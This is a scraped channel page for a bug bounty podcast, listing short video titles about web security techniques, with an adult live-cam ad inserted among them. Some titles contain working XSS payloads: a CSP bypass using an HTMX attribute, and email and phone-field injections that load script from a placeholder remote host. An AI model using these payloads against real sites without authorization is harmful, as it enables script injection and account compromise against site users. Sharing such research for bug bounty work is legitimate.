Critical Thinking - Bug Bounty Podcast's banner
Critical Thinking - Bug Bounty Podcast's profile picture

Critical Thinking - Bug Bounty Podcast

@ctbbpodcast • 26,627 subscribers

A 'by Hackers for Hackers' podcast focused on technical bug bounty content. Exploits, techniques, stories, bounties. Hosts: @rhynorater, @rez0__, @gr3pme

Videos

LIVE
1.2k

Anya Rossi

sweetdream.ai

SweetDream.aiSponsored•Livecam
Streaming Now

Watch Anya Live

Anya is streaming live right now! Join her private show and enjoy exclusive content.

HD live stream
Exclusive private shows
1.2k viewers online

Free preview available • Premium content

Missing hasOwn() 2FA bypass
0:47
ctbbpodcast's profile picture

Missing hasOwn() 2FA bypass

Critical Thinking - Bug Bounty Podcast

11,679 просмотров • 1 месяц назад

Double Auth Headers FTW
0:47
ctbbpodcast's profile picture

Double Auth Headers FTW

Critical Thinking - Bug Bounty Podcast

20,030 просмотров • 3 месяцев назад

Deleting the .git for RCE
0:43
ctbbpodcast's profile picture

Deleting the .git for RCE

Critical Thinking - Bug Bounty Podcast

14,973 просмотров • 3 месяцев назад

How to find the manifest.json file of any Chrome extension: 1. Go to chrome://extensions 2. Turn on Developer mode 3. Copy the extension ID 4. Go to ~/Library/Application Support/Google/Chrome/Default/Extensions 5. Find the matching ID then find the manifest.json file!
0:32
ctbbpodcast's profile picture

How to find the manifest.json file of any Chrome extension: 1. Go to chrome://extensions 2. Turn on Developer mode 3. Copy the extension ID 4. Go to ~/Library/Application Support/Google/Chrome/Default/Extensions 5. Find the matching ID then find the manifest.json file!

Critical Thinking - Bug Bounty Podcast

27,101 просмотров • 1 год назад

Crazy CSP Bypass here by Paulos Yibelo! Utilizes JSONP endpoints where you can ONLY use [a-z.]+ as the callback and crafts a valid exploit. Masterful.
0:46
ctbbpodcast's profile picture

Crazy CSP Bypass here by Paulos Yibelo! Utilizes JSONP endpoints where you can ONLY use [a-z.]+ as the callback and crafts a valid exploit. Masterful.

Critical Thinking - Bug Bounty Podcast

28,081 просмотров • 2 лет назад

Do NOT get baited, stay focused and HACK HARD
1:03
ctbbpodcast's profile picture

Do NOT get baited, stay focused and HACK HARD

Critical Thinking - Bug Bounty Podcast

16,145 просмотров • 1 год назад

.­Mathias Karlsson blew our minds with his latest HTMX research including this tasty CSP bypass. <img src=x hx-on:htmx:load='alert(0)' /> Bypasses lack of unsafe-inline, but uses unsafe-eval.
0:59
ctbbpodcast's profile picture

.­Mathias Karlsson blew our minds with his latest HTMX research including this tasty CSP bypass. <img src=x hx-on:htmx:load='alert(0)' /> Bypasses lack of unsafe-inline, but uses unsafe-eval.

Critical Thinking - Bug Bounty Podcast

14,702 просмотров • 2 лет назад

RFC-compliant payloads to try and put in your username or telephone number fields on your next target: Email: "><img/src/onerror=import('//domain/')>"Domain.com Mobile: 013371337;ext=<img/src/onerror=import('//domain/')>
0:32
ctbbpodcast's profile picture

RFC-compliant payloads to try and put in your username or telephone number fields on your next target: Email: "><img/src/onerror=import('//domain/')>"Domain.com Mobile: 013371337;ext=<img/src/onerror=import('//domain/')>

Critical Thinking - Bug Bounty Podcast

12,774 просмотров • 2 лет назад

Больше нет контента для загрузки